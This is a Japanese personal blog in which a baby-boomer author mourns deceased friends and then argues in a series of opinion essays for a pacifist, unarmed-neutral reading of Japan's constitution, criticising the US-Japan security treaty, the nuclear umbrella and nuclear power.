その頃、久しぶりに再会して「元気にやってるよ」と聞かされて以降、彼は同窓の集まりに姿を見せなくなった。その後も元気な年賀状が届きご家族の成長ぶりを奥方が知らせてくれていた。
もう一人の戦友が先立った際に彼には出て欲しかったので、奥方に連絡を取ってみたら、実は一次退職後暫くして「若年性痴呆症にかかって出かけられない状況である事を教えて頂いた。「一生懸命治療に努めているので元気になったら…本人の希望でもあるので」と言われそのまま見舞いにも行かぬままの別れとなってしまった。

10年以上の療養生活を奥方と共に戦ったのだろうと推察する。(実は奥方からはその後も元気なご家族の近況を書き記した年賀状を頂いていた。(病気の件には触れないで…)
彼が頑張り続けたサラリーマン生活に最大の敬意と尊敬を送り、御冥福を祈るのみ…

(以前に記した戦友「T」は、10年以上強度の「うつ症」で苦しみながら先立った。
「T」を癒すためにと考えて始めたブログが「プレミアムエイジ」であり「団塊世代が行く」であったから、このブログは10年以上が経過している事になる。

(2007年問題と騒がれ、プレミアムエイジが日経に書かれたが、問題は起こらなかった。10年早かった実は2017年問題であったのかも…)

その前に実は「N」が自死している。彼の事も書いた。大親友と自負する「7人の友」のうち6人に先立たれた事になる…(不幸すぎないか?)
一切の利害を超えて、定年したらゆっくりと語り、遊び尽くしたいと考える仲間が居なくなる。寂しさを通り越して生き甲斐を失う思いに駆られるばかりである)

団塊世代は「切磋琢磨」で生き抜いてきた世代でも有り、親友という言葉よりも「戦友」と呼びたく思う…。
自らを波乱万丈に追い込む自虐性を意識しつつ、身の程をわきまえつつ、出来る「仕事」を探し、続けるのは我儘なのであろうか???
この世代が歩んだ「価値観」が何者であったのか(一部分にしろ)書き残してもおきたいとも思う今日この頃ではある。。。

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2017 年 11 月 26 日   No Comments

(4) 安保、非核3原則、原発

日米安保条約が諸悪の根源である事については本来左右両陣営において一致するべき点で無ければなりません。
日本の完全独立の為の「一丁目一番地」が米国の「核の傘」を認める事ではないはずです。
「日米安保」有りきがいつの間にやら知識人の常識と成ってしまった感があります。
(憲法違反の軍事条約である事が明らかであるにも関わらず、日米同盟が、日本の発展の基軸であるとの見解において…)
しかしそれは「経済優先の日本」が踏んでしまった地雷であり、「非核3原則」という言葉が、(まやかしとして造られた)戯言でしか無い事も立証されてしまいました。
それは米国経済の尖兵となる事でもたらされました。日米同盟を外交の基軸と考えるのが常識という状況は一体どこからくるのでしょうか?

経済的繁栄が全てに優先する「資本主義」時代が長く続き、その結果「新自由主義」という妖怪が大手を振って闊歩し始めてています。その中で失われて行く日本の伝統や文化の価値に気付き、やがて次の時代には必ずそのしっぺ返しが訪れてしまう事ががはっきりと見えてきています。
(米国はアジアでの利権を維持する為にこそ日本における米軍基地が必要なのであって、米軍基地が日本の防衛に欠かせないというのは詭弁に過ぎません。むしろ米軍基地の存在は日本が戦争に巻き込まれる可能性を増大させている事に思いをいたすべきです。

果たして、朝鮮特需が無く日米同盟が無かった日本はどうだったのでしょう。
日本経済の急速な発展はやがて「バブル」となり、経済的に米国の背中を見てしまった(世界第2位の経済大国)日本経済は1985年のプラザ合意以降)完膚無きまでに打ちのめされました。
失われた20年はやがて30年になろうとしています。この間の世界経済は中国やインド、ベトナム、そしてロシアに至るまで緩やかに発展を続け、米国の失敗のツケすら日本が負う状況が現在を形作っています。(米国は経済の行き詰まりの際には、属国への付け回しと「やむ無しの戦争」でこれからも辛うじて生き延びて行くでしょう)

日本経済の急速なる成長は団塊世代の企業戦士化とともに増える労働人口(生産力)の急拡大もその背景にありました。もし、朝鮮戦争特需や日米同盟が無くとも緩やかなる経済成長は日本国民の勤勉性で今日では十分に追いつき追い越していたのでは無いでしょうか?
(バブル絶頂期に米国のマンハッタンを買い占め、ラスベガスの賭博場を独占する日本人の爆買いを研修という名の元に垣間見る貴重な経験が頭をよぎります。虎の尾を踏んだのでは無いか…と半信半疑で1カ月程度の研修で(バブル絶頂期とも気付かないまま)帰国したのは25年も前のことになります)

日米同盟が無かりせば、自衛隊は警察予備軍を強化発展させた本来の(憲法で認める範囲内での)自衛隊の完成が適っていたのかもしれません。無論、現行憲法でも専守防衛を禁止する…とうたっていませんし、国民を守る為の警察予備隊の発展は(やがて自衛隊となり)経済の発展とともに必要不可欠であったと信じます。
特に大災害等における自衛隊の活躍と必要性は立証済みであり、真に国民(国では無い)を守り、治安維持に努める「一定の」武力の保持(戦力では無い)は必要です。しかしそれはどこまでいっても軍隊では無く、他国を威嚇するような武力になる事は立憲民主主義憲法を有する我が国では起こり得ない筈だったのです。

軍隊を有すると言う覚悟をする為には、もちろん先に憲法改正が無ければあり得ないのです。(立憲主義を標榜するならば…)
しかるに米国依存と共に既に明らかに他国を威嚇するだけの武力が日本には存在してしまっており、非核3原則を嘯きながら「核の傘」に寄りかかり、挙句に集団的自衛権という他国への脅威と戦争への加担までをも「自衛力」という名で可能な事態に至っています。

立ち止まってもう一度、考えて見ましょう。
敗戦後の日本国(憲法)は先ず中立国である事を前提に出来上がっており、当然ながら個別国との(軍事)同盟は憲法に背いた存在です。日米安保の成立で憲法は明確にいがめられたまま今日に至っております。
戦力保持をしないから米国の戦力(核の傘含む)を借りるような予期は日本国憲法には有りません。
先ずは憲法を護るとするならば、この日米安保を見直す所へ論議を戻す事から始めるしかないのです。その上で自衛隊の存在とその後の過程で成立した違憲立法の数々を検証し、改定が必要かどうかを考えるのが事の本筋であり、それこそが立憲主義の基本であるはずです。

既成事実を積み上げ、安保や自衛隊を合憲、違憲と論議する事こそナンセンスなのです。
憲法を無視した明らかな違憲立法や条約を解釈改憲とする事自体が間違いです。
現状の安保が果たして合憲かどうか?自衛隊のどこまでが合憲であり、違憲な部分はどこにあるのか?
どんなに解釈の幅を広げても違憲であるものがあるとするならば 、先ずそこを炙り出して、もう一度自衛隊を考えてみる事が大事です。違憲立法を放置したままの既成事実の積み上げでの憲法論議はどこまでいっても立憲民主主義に反するものです。
(今回のわがまま解散ももちろん違憲(憲法7条には総理大臣の専権事項としての解散権など記されていない)ですし、その意味では違憲解散が行われるからそれを止める為という憲法改定を論じる枝野さんの論も可笑しいのですが…既に既成事実の我儘解散は忘れ去られています)

安保問題です。
まず、戦力という面では、今や核装備が必須戦力である事は(北の要求を見ても)世界常識としても明らかです。戦争戦力と核装備は不可分な時代に世界は変わってしまいました。
一方で非核3原則は米国にとっても誠に(経済的に)都合の良い政策です。核防衛の為で有ればどんなに高額であっても日本は受け入れる事になる。
しかし流石の米国も日本の核装備だけは許さない…
矛盾による米国策…
日本が米国の属国である事を裏切る可能性を否定できないからです。核の傘という「亡霊」を置き「核は持ち込まない。但し米軍艦隊、基地を除く」という戦略上の便法はアメリカにとっては最高の軍事方針であり、米国の経済優先の最大戦略と合致するものでもあります。

日本は十分に核兵器を保有する能力を有しています。
にも関わらず「核を持たない軍備」でなければ、米国を含めて世界の世論は(未だに)それだけは認めないでしょう。(軍備又は軍隊であっても韓国、中国、ロシアさえ認めないでしょうが…)
軍備力を保有すると言っただけでも北朝鮮からの攻撃の可能性(リスク)は真に高まります。それはもちろん米国と共に攻め込まれるというトラウマ(イラクのフセイン)が「北」にあるからです。(朝鮮半島を領土化した歴史が日本には有ります)
拉致の理不尽を盾に北を仮想敵にする事のリスクこそが「本当の危険」ではないかと思います。
北の核の現実的ターゲットがあり得るとすればそれはグアムでもハワイでもなく、沖縄米軍基地になるでしょう。そのような選択は実は万一にも起こらないでしょうが、(リスク保有の)理論値のみで言えばそうなります。
(トランプの挑発に日本が間違っても加担しない事が最善のリスク軽減であるにも関わらず、安倍さんはトランプとの密約ができたかの如く急ぎ「国難解散」を強行し、北政策の日本での同意を取り付けたというのではないのかと危惧されます)

今からでも日米安保の破棄と「中立日本」を考える事は可能です。
本当に「核」を持たない決意なら中立が最も安全なる戦略であり、すべての国との平和条約を「日本国憲法」の宣言を盾にして唯一の防衛戦略とする道はあり得るのです。

核を持たないのなら原発も不要です。
日本の知的能力で戦争や原子力への経済投資を他産業に振り向ける事が(絶対比較による)安全性を高められると断言できます。
核保有のできない日本には、原発による核開発の道しかなく、それは米国の経済利益の追求にも必要不可欠で有り、現に原発技術は米国からもたらされたものでした。

日本は多少の経済の衰退があっても経済(金)よりも平和(人)を優先する国であるべきです。
経済については後ほどの章でもう一度触れたいと思いますのでここでは省きますが、核無し軍備と原発戦略は間違いなく米国を利し、あえて言えば日米の軍事産業と大手企業を利するのみで、その為のリスクを声高に叫ぶ政府は米国追随主義の独りよがりでしか無いと見抜くべきなのです。(米国に追随する2番手で良い経済大国戦略)

憲法論議とは少し離れますが原発問題について少し述べておきたいと思います。
今や「軍備やむ無し」の論議が盛んですが、攻めるも守るも今や核抜き軍備が何の意味もない事を北朝鮮が示してくれています。必ず憲法改正論者の主流はその現実に行き着かざるを得ないはずです。日本は世界のどの国も認めるように、もはやいつでも核武装が可能な国に成っています。
(米国他先の戦勝国は日本の核軍備だけは認めないでしょうが…日本という国の位置付けは戦後70年を経てもそんなものです)
その上で日本のできる事としての原発推進の果実を手に入れさせられました。
一方で「核・原発」は、日本株式会社という経済発展には欠かせないものとなっています。
電力、エネルギーは常に戦争の具にされる一番のもので有り、日本の原発推進技術の発端は米国の要請であった事も自明の理です。(経済利益での共通項)
原発推進と非核3原則は時の政権が矛盾を承知でセットでもたらしたものです。電力会社は日本経済の要であり、万一にも東京電力が先の福島事故で潰れるような事になれば(実質破綻なのにも関わらず、東電はビクともしないで威張った経営の最たる企業です。日本経済も一度壊滅せざるを得なかったはずです。東芝が潰れるのとはわけが違うのです。(電力株は日本の主要産業がほぼ有している主力金融商品でも有ります)

一方では原子力は未だに廃棄が不可能で有り、逆にそれ故に日本の原発だけは世界に網羅された損害保険システムでも引き受け手が有りません。
世界中でグローバルに大発展した「損害保険システム」で引き受けられないものは原発くらいでしょう。戦争保険よりリスクが高いものです。リスク算定不能という事です。
日本にはそれにもかかわらず、日本原子力プールという万一の対応をするという名目の組織が有ります。福島の事故でこの機構は全く機能できませんでした。
もちろん東電も、もっと言えば国でも実質の保証は不可能であったわけです。この機構は世界の保険会社に引き受け手がない事からの御守りとして国の要請で損害保険会社で作られた国策事業では有りますが、もちろん福島事故を保険事故として有責とすれば、この機構はおろか日本の保険会社も全て倒産の憂き目にあったでしょう。原発事故は実質免責となる様にしくまれているのですが…(何のための原子力保険機構で有る事か…)
さて原発が安いエネルギーだと言われていますが、無保険である事が立証されました。もしこのリスクを保険料に換算できればどの程度のコストが必要か?
実は当然ながら引き受け保険会社がないという事はリスクは現実に存在し、かつその補償額については無制限であるという事ですから、その保険料は半端なものでは有りません。実はその事によって、全ての国民が強制的に原発事故について保障させられており、それでもまかないきれない事もはっきりしたのです。
(原発安全神話は、その意味で作られたまさに神話であり、それが福島で示されてしまったのです…)
原発コストが安いなどという学者がいかにいい加減なものであるかが分かります。
保険にさえ入れない最も危険なエネルギーが核であり、核兵器の恐ろしさは間違いなく地球を滅ぼす威力を有してしまっています。北朝鮮が今回実験した核が広島に落ちた原爆の20倍程度だと言います。(原発というエネルギーは原爆と共に決して人類が作り、採用してはならないものです。日本での再利用計画も当然ながら破綻し、核処理すら出来ないまま、この地球上に放置されていきます。

(私は広島の原爆資料館を見た日から、戦争と米国の非情さを感じ、戦争の悲惨さに気付きました。当時は米国がベトナムで化学兵器の人体実験を行なっていた時期です。「北爆」という空からの無差別爆撃を繰り返していました。むしろ軍国的少年であった心情が一変し、日本の侵略戦争への道を歴史の中で学び、日本の戦争への必然性と人間の愚かしさにも気付きました。大きな犠牲によって得た日本国憲法の必然性と正当性も知り得たと思っています。同時に歴史を修正し、あの戦争さえ美化していく日本の風潮が垣間見える事を危惧するものです)

万一にも「北」が日本の米軍基地をターゲットとして日本の原発基地近くを攻撃したとすれば、それを守る為の軍備などあり得ないのです。 米国には「日本の真珠湾奇襲」がトラウマにありますから、その前の軍事作戦を取る可能性はあり得る話です。故に核武装や核の傘が有効であるなどという事ほど無謀な論議はあり得ません。
(核防衛という名目で莫大なる核抑止兵器を買わされる事になるでしょう)
圧力や威嚇で「北」を止められるものでもない事も日本の「真珠湾」から米国は学んで欲しいと心から思います。
そのような挑発に日本がその口車に乗る様な威嚇を行い、日米同盟による「新安保法制」の行使というような密約がない事を祈るのみです。

(今回の冒頭解散の裏側に安倍トランプ密約があるのでは…と咄嗟に考えたのですが、まさか幾ら何でも2年先の消費税の使い道を問う事を名目に使うなんて馬鹿げ過ぎて理由になるはずもありませんがそれを押し通して解散した裏側に何が有るのかを考えなければなりません。
そんな茶番的理由による解散であっても自民党の圧勝は予定通りの結果となりました。選挙で民意を得ているという一点で万一の場合の米国追随を強行突破して行くでしょう???)

要は憲法改定、安保、核、原発、軍は切っても切りきれない「岸、安倍」一族の妄想として一連のものだという理解が必要なのです。。。。

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2017 年 11 月 21 日   No Comments

(3) 憲法9条と自衛隊

日本国憲法は敗戦国日本が、その後も独立国家として世界の承認を得て自律的宣言として世界に約束する宿命を有していました。
その約束の一つとしての「戦争放棄」と「戦争のない世界」を希求する事は絶対要件でもありました。そしてその役割は今なお変わるものでは無いはずです。事情はどうあれ「侵略戦争」を国の意志として行使した歴史的事実は曲げられませんし、その変更には戦後70年を経た今もなお、世界の了解と賛同が道義的にも必要なものだと思うのです。

戦力の保持は日本の歴史と民族的習性からも戒めるべきものと思うのは、自らに流れるDNAの中にも存在する事を認めざるを得ません。その血脈は右へ行こうが左へ向かおうが、または「人間の性」として存在するのかも知れません。
憲法において戦争権を放棄する事で唯一自制できるものであれば、率先してそれを行うしかないでしょう。(歴史的必然と理不尽とはいえ世界的要請でも有ったのでした)
日本が戦争のできる「普通の国」になれば、おそらくそれは核装備を含めた「最強の国」を目指す事に向かうはずです。日本国(民)が持つ「その英知」は戦後の驚くべき経済発展をみれば明らかです。

憲法9条は明らかに戦争権と共に軍備の保有を放棄する事をうたっています。
その上で国を守る術として、憲法は世界平和を希求し、日本はその為には外交努力のみでそれを達成する事を求めています。
平和外交と政治的中立をセットとして選択し、その意味での「永世中立国」を前提としたものです。しかし残念ながら日本はその発展の過程の中で、まずこの中立性を放棄してしまいました。
米国の占領政策と発展の為の経済優先方針から(止む無く)東西対立の中では西側に立つ事を選択したのです。明らかに1960年の日米安保条約の締結がはっきりした岐路であったと思います。

戦後の国民の政治的叫びが最大になったのもこの年でした。
「憲法違反である軍事同盟は許さない」と国会を取り囲んだ大衆の声は確かに国民の半数を超えていたでしょう。東大の学生であった「樺美智子さん」が国会前で圧死するという悲惨な事態を起こしながらも多くの国民が訴えたのでした。
岸内閣は確信犯として「憲法を無視して」条約締結をした後、退陣するという政治的選択をしたのです。(その孫である安倍首相が同様な執念を見せるのは偶然ではなく、祖父の違憲条約を合憲化する為の固い意志である事は明らかです)

この時、明らかな憲法違反が発生し日本は「中立性」を完全に失い「専守防衛権」の存在を憲法解釈で押し通し、結果として自衛隊の存在を軍備として承認、強化していったのです。その自衛隊は拡大の一途をたどり、日本は世界有数の軍事強国にもなっていますし、既に国際法条の権利として集団的自衛権の承認にまで踏み込んでしまいました。(違憲状態を修正せずして、自衛隊をなし崩し的に解釈改憲を繰り返し明確なる違憲の安保法制の改定にまで踏み込みました)

自衛隊は朝鮮戦争における米国の要請に基づき「警察予備隊」として発祥したものです。(米国が初めて自国の利益の為に最小軍備を承認してしまったのが「警察予備隊」という名称であり、意図としては順次の軍備拡大容認ではあったのですが…)それ故に今も自衛隊で有り、軍隊ではないし、当時は警察予備隊とせざるを得なかったのです。

警察予備隊を前提とした自衛隊を否定するものでは有りません。国内の治安維持及び大災害の救助には欠かせない存在でも有ります。
しかし憲法が戦争を放棄している以上戦争戦力である事は出来ないのです。それが憲法の原点である立憲主義というものであり、その立場で憲法論で言うなら筋としてはやはり憲法の改定以外にはあり得ない状況である事も事実ではあります。

憲法が専守防衛権を放棄しているものとはもちろん読めませんが、戦争を放棄している憲法である以上、その前提はどんな場合にも外交的中立性で戦争を抑止することが求められているのです。

日本は朝鮮戦争において、米国への兵站基地を沖縄(当時米国の占領下)と共に憲法に照らし合わすことなく提供する事になりました。そして警察予備隊は自衛隊に昇格し、日米安保条約の締結へと進んでいきます。同時に日本は戦争景気によって経済的復興を手にしていった事実と対米追随を明確にしてしまいました。

しかし、一連の日本の方針は明らかに軍事方針であり憲法違反です。
当時から日米安保条約は憲法違反であるのも関わらず軍事同盟ではないとの主張で条約は成立してしまったのです。朝鮮戦争における南北対立に加担し、その中立性は壊され日本は完全に西側に組み込まれていきます。今も日本は北朝鮮が仮想敵となり、ロシア、中国とも(軍事的)敵対的立場となっています。(仮想敵を置く事も明らかに憲法違反です)

北の脅威を国難と主張し、軍備拡張の具にしていますが、果たして一連の政治的選択が憲法違反でないと言えるでしょうか?
リスクは間違いなく高まっています。北が日本を攻める(侵略する)とは今もって思いませんが、リスクは米軍基地がある以上高くなっている事は認めざるを得ません。

朝鮮戦争は日本に莫大な経済的利益をもたらしました。
米国追随が日本経済の発展に大きく寄与した事も事実です。日本は発展を重ね、いつしか米国についでの経済大国になりました。(その恩恵を大きく受けた一人でも有ります)
しかし国民が経済、金が全ての価値尺度になる事を希望していたとはとても思えません。日本の歴史、文化でもなかった貨幣的価値観が生まれ、いつしか日本は米国の属国としてあらゆる要求に「NO」と言えなくなってしまっています。

何処でどう間違ったのでしょうか?
自衛隊を完全なる違憲状態にしたものは何だったのでしょうか?自衛隊の現状と今般の安保法制は明らかに違憲状態です。しかし、一方で憲法の許す範囲は何処まであり得るのでしょうか?
日本は立憲民主国であるという考え方は未だに民意を十分に得ていると思います。立憲民主とは唯一憲法に立脚してその方の中で主役は民(市民、生活者)であると思うのですがが…?

憲法を大前提にした法律を作るのが政治であり、政治家の絶対的使命だと思います。
一方で、日本が米国追随を明確にしたのは日米安保条約です。全ての国との平和条約の締結を憲法は希求しています。
明らかな憲法違反は、ここから始まりました。残念ながら現実の経済優先主義では日米同盟が大前提とする解釈がまかりとおていますが、既成事実の毒饅頭を食べてしまった「60年安保」が憲法違反への実質的スタートとなりました。そして日本の中に米国が誕生し、日米地位協定は日本国の裁判権さえない土地を作ってしまたのです。

そして自衛隊です。
自衛隊は自衛隊である以上は憲法違反であるとは思いません。順序が逆なのです。自衛隊の現状から違憲状態のものを先ずは改定する見直しの論議が先にあるべきです。
憲法の枠内での自衛隊に対して憲法違反になるような「自衛隊法」は制定されていないか?違憲装備は存在していないか?むしろ法解釈的絶対違憲状況を確認し、修正する事を優先するべきが立憲主義の基本ではないでしょうか。

(その点では日米同盟を基軸と考える枝野氏にも若干の危うさを感じるところです。今回の安保法制や共謀罪法を含めて改憲の外堀を埋めるための既成事実化は敵の術中に陥る気がしてしまいます。「北」の脅威を煽っての解散も、来るべき米国の軍事行使への加担承認を目論んだ安倍グループの戦略であったのでは、、、。「小池希望の党」さえ予定通りの改憲勢力作り戦略の一環であったと考えられないか…)

自衛隊の既成事実を踏まえて、明らかに超えてしまっている装備やその装備の裏側を告発していく政治的活動を求めるべきだと思います。その上であるべき自衛隊をしっかり法律で縛れば、自衛隊違憲論など出てこないように法整備する事は可能です。
(北朝鮮の状況は80年前の日本の状況とあまりにも似通い危険極まりない状況である事にも思いはいたすべきでしょう。是非とも拉致問題と共に日本が平和的解決の為に仲介できれば良いのですが…)
日米安保条約の違憲性をこの間の変遷から紐解き、安保の解消と日本国の独立、政治的中立性の保持も目指す事こそが立憲民主主義の原点であり、再論議がひつようです。

日本の防衛はどうするのか?と問われます。
憲法では日本の防衛はあくまで非武装中立の外交で敵を作らない事であり、事実日米安保が無ければ敵が現れるリスクは格段に下がります。
防衛をいうのは常に敵国を作り煽ることから始まり、やがてその戦力が侵略へと走ってしまうのが歴史です。
果たして事実中立国であるとしたなら「侵略」など今の世の中で実際に起こり得る(許される)はずもありません。
北朝鮮、中国、ロシア、韓国…を上げるのでしょう?これらの国が日本侵略を本当にする可能性などあり得ません。
日本がその経済力で「侵略」を企てない限り、そして世界世論が既にそれを許すような事はないのです。

残念ながら今の世界では、戦争の前提は核戦争となっています。抑止は地球規模(地球消滅)になってしまいます。(その意味では核が悲しいかな抑止力になっていることも認めざるを得ませんが…)
逆に戦力の保持イコール「核なし」ではあり得ないのが世界の情勢であり、核保有国が核拡散防止条約は必要だが全面核禁止条約には調印しない以上、その既得権と抑止力は核保有国の責務とせざるを得ない状況があります。

(唯一の被爆国である日本が全面核禁止条約に調印できないような状況で、核の傘を認める体たらくは目を覆いたくなる情け無い事態が現実になっています。
ならばせめて核保有を含めた軍備力と非核3原則の廃止を宣言する勇気はないのでしょうか?
軍備イコール核保有国が必須の世の中であること…しかし、日本には絶対に核保有を認めないというのが世界的判断が実存しています。
その中でこそ活きるのが平和憲法であり、今こそ日本国憲法の元での非武装中立國宣言への回帰が政治的最大課題であると確信します。

現実の尖閣問題と中国の脅威を言われます。
尖閣が日本の領土であるという主張には勿論同意しますが、果たして日本の領土を今以て占有する米国の地位協定を何故放置するのでしょう。領土的にも経済価値的にも尖閣の比では無い。米軍基地が、核の傘が日本を守ってくれているという馬鹿な話が有りますが、それは真逆に戦争への加担と戦争リスクを呼び込むものでしか有り得ない事が何故わからないのか本当に不思議です。(尖閣にしても竹島にしても少なくとも先方国にも領土とする言い分はありますが、米軍の基地は明らかに日本の領土であるにも関わらず、裁判権すらない占領地となっているのです。そして「核の持ち込みは無い」という詭弁を政府はわかりきった嘘をつかざるを得ない現実が存在しています。

「絶対に」戦争が起こらないとはもちろん言えません。
しかしもっともリスクの少ない、戦争に巻き込まれない選択を考えなければなりません。攻められるリスクよりも攻められない努力こそがよほど利口な選択です。リスク管理上の比較で言えばごく当たり前の数理的選択となります。その選択こそが現状においてすら「非武装中立憲法」というのが我が結論になります。
(それでも攻められたら…武器を手にして護る覚悟での「死」よりも攻められて殺される「憲法」を選択する覚悟の方が…戦争リスクを考えるならば合理的選択です)

今や巨大化してしまった軍事産業が日本には(米国にも)有ります。
いつの間にか武器輸出が解禁されてしまいました。全てが経済の要請です。そして国内軍事産業は日本の軍隊設置を切望しているはずです。(米国の武器商人が武器所有禁止をさせないが如く)
戦争は常に自国の経済利益を優先して始まるのが歴史が証明する所でも有ります。経済優先の国、即ち企業利益を優先する。それが米国の戦争への歴史であり、米国民の選択でもあるのです。そんな国との軍事同盟と基地提供が如何に馬鹿らしい判断であるのか???
国にも企業にも血の通いなど期待すべきではなく、どこまでも拡大と利益追求を辞めないものです。憲法の「主権在民」の行使以外にはこの怪物を抑止する術はないのです。故に憲法は基本的人権を謳うのです。(主権在民は戦争をしない、武器を持たない権利であり、徴兵を拒否する権利…すなわち「生存権」です。

もう一つ、軍隊は必ず徴兵がセットになります(世界的常識ですが…)。
現状の自衛隊は日本国憲法の戦争放棄の上に成立し、自衛隊員は戦地へ赴く義務は本質的にない中で成立しています。しかしひとたび軍隊となれば、「銃を持って人を殺す義務」を追います。もちろん殺される可能性も承認せざるを得ません。軍隊には必ずその必要人員をそろえなければ成立しません。即ち、徴兵と人権の一部剥奪と国際法上の軍法会議は必須アイテムになる事が理解されていないで論議されていないでしょうか?
(その抜け道にあるのが常に戦死は経済弱者にしわ寄せが行くというのも歴史が語っている真実です。格差社会の広がりで少数の勝ち組に比して圧倒的負け組が現実の姿になりつつあります。戦争への参画で生活費を稼がざるを得ないという悲惨な状況すら現実的に見えてくるように思います)

この項の終わりにそれでも日本を侵略してくる場合を想定しろ…
…理想論で日本を守れるか…との問いに答えておく必要があります。
「人を殺すのだけは嫌だ。それでも殺すというのであれば、殺される側を選ぶ」と開き直るしか有りません。
「憲法がそういうのであれば…そしてそれが殺されない最大の戦略(選択)であるから」
無防備である事の強さを私なりに多少は経験上知っています。無抵抗で死ぬリスクは戦って死ぬ(戦わず死ぬを含む)リスクより実は低いのです。
誰も銃を構える怖さを自らのものとして捉えない無責任…
「40」を超える兵役に耐えられなくなった人が「軍備力が必要だ…」などというべきではないのです。
戦争が無くってよかった世代が、将来の子供達に銃を強制する事などするべきではない。「お国のためなら」…は無責任な他人事にしかならないでしょう…

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2017 年 11 月 14 日   No Comments

(2) 憲法前文と象徴天皇

日本国を考える上で天皇の存在を無視する事は出来ません。

古代よりの日本の歴史と文化を学ぶ中で常に天皇は雲上人として(または元首として)、庶民を含め大半がその存在を認め支持し(「現人神」と認識し)、日本国を形成して来た事実は曲げられません。
ある時は君臨し、ある時は雲上に鎮座まし、ある時は時の政権に利用されて来られたのです。紛れもなく、日本国の歴史と文化は天皇と共に形作られ、今日まで継承されて来たものが数多くあります。
まさに天皇は有史上における古代より常に日本国の象徴であり、全国民(庶民を含む)がいつの時代においても(どんな場合にも)圧倒的支持を得た(ある意味民主的な)存在であり続けて今日までそれは継承されています。

現行憲法が日本滅亡の危機にあった先の大戦(敗戦)の際においても、なおその圧倒的支持は変わらず、天皇の護持無くしては一億火の玉になっても戦いを続けていた可能性も否定できませんでした。
そしてその結果として世界の戦争相手国からは、戦争の最高責任者としての処置を求めて来た事も歴史的事実でした。しかし天皇は機関的にその立場に象徴的に立たれていた事(戦争責任)も明らかであり、戦争裁判の審判を仰がざるを得なかった情勢でした。

天皇は自らその機関的責任も認められ、戦争の終了を希求されました。
天皇の存在と世界世論の狭間でとにかく戦争を終了させる手立てとして、天皇自らも終戦と共に考えられた結果として生まれたものが日本国憲法の前文です。
それ故に憲法前文が日本国独自で独特の理念として天皇の御言葉に代えて表され、その御印を持って表したものが憲法前文です。
あくまでも「前文」で有り日本国憲法の外に位置するものと考え、理念であり、またこの国の骨格を形作る為の大事な「前文」です。故にこの前文は条文において憲法としての拘束を受けるものではなく、また憲法発布前の元首天皇が御璽として自らの立場と憲法の内容を進んで承認されたものだと理解するべきです。そしてこの前文こそが日本国憲法そのものでもあり、短い文章の中にその「全文」が込められているとも言える大事な文章でもあります。

そのような背景と共に第1章に象徴天皇の制定をおいた理由があります。天皇は自らこの憲法の枠外に置かれ、憲法で有するべき国民の権利(基本的人権)をも放棄される事としたのでしょう。天皇の象徴制を立憲主義の中で理解し、新たな憲法を進んで承認された事で敗戦後の混乱と一億玉砕の危険を回避できたのであり、戦後の一定の混乱はあっても大きな犠牲も出さずに敗戦の処理が進み出した事はその後の歴史が証明しています。

占領国であった米国の知恵もそこに当然ながら残しつつ、諸外国も了承する(必要のある)日本国憲法が成立したのではないでしょうか。
(そこには、時の日本の英知も十分に結集され、歴史認識を踏まえた終戦宣言と日本の進むべき道を国内外に指し示すものでなければならなかったのです)
こういった日本独自の文化伝統が合間って、国際法的憲法をも超越する(べき)憲法が成立(一般的憲法論をも超越したところにある)したと考えるべきでしょう。

繰り返しになりますが、憲法前文と第1章にある天皇の項は天皇の存在(戦争責任からの免責)を世界に認められ、かつ日本国民を納得させる為には絶対的必要性を持ったものです。
それ故に前文の不可思議さも日本国憲法の必需品として(歴史の継承物としても)一字一句変えるべきものでは無いのです。

日本国憲法は言うまでもなく、その骨格として戦争放棄の平和主義、主権在民と共に日本国民の基本的人権を等しく認めるものとなっていますが、同時に日本の歴史と文化を維持、継承する意思を世界に承認してもらうものでもありました。
一方で天皇だけはこの憲法の埒外におかれ、しかも唯一(一般的)人権を剥奪されてしまいます。
故にこの憲法に異議を唱える資格と権利を有するのが天皇であるとも言えるのですが、昭和天皇はその埒外にある事を理解、承認され、象徴としての地位をお受けになられる事によって前文の成立と必要性が有りました。前文こそが日本国憲法の象徴でもある所以だと思います。
今生天皇も現行憲法を最も愛され、昨今の動きを憂慮されておられるご様子をいわゆる改憲派は一体なんと考えるのでしょうか?
(その事すら忖度されないで)「戦争のできる国」への道を憂慮され、また何をおいても率先して現行憲法を遵守されようとする天皇のお姿をみても「護憲を主張したい」と思うのです。

昭和天皇に戦争責任はあったのか?
残念ながらそれには「YES」と答えざるを得ません。
しかしそれはイコール「日本国の消滅」であり、日本という国の形を壊し、日本国の歴史と文化をも消滅させる事でも有った…と強く思うところに至りました。「70年をかけて」…

「現行憲法と象徴天皇制が日本国の継続とその後の発展を創る原動力にもなりました。そして憲法の施行と共に私は産まれました。戦後の混乱と苦労は有りましたが平和な日本はこの憲法無くして有り得なかったと強く思います。
そして今尚、いやこれからの日本にこそ、この憲法無くして日本の平和と素晴らしい歴史と文化の発展はないと確信するものです」

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2017 年 11 月 9 日   No Comments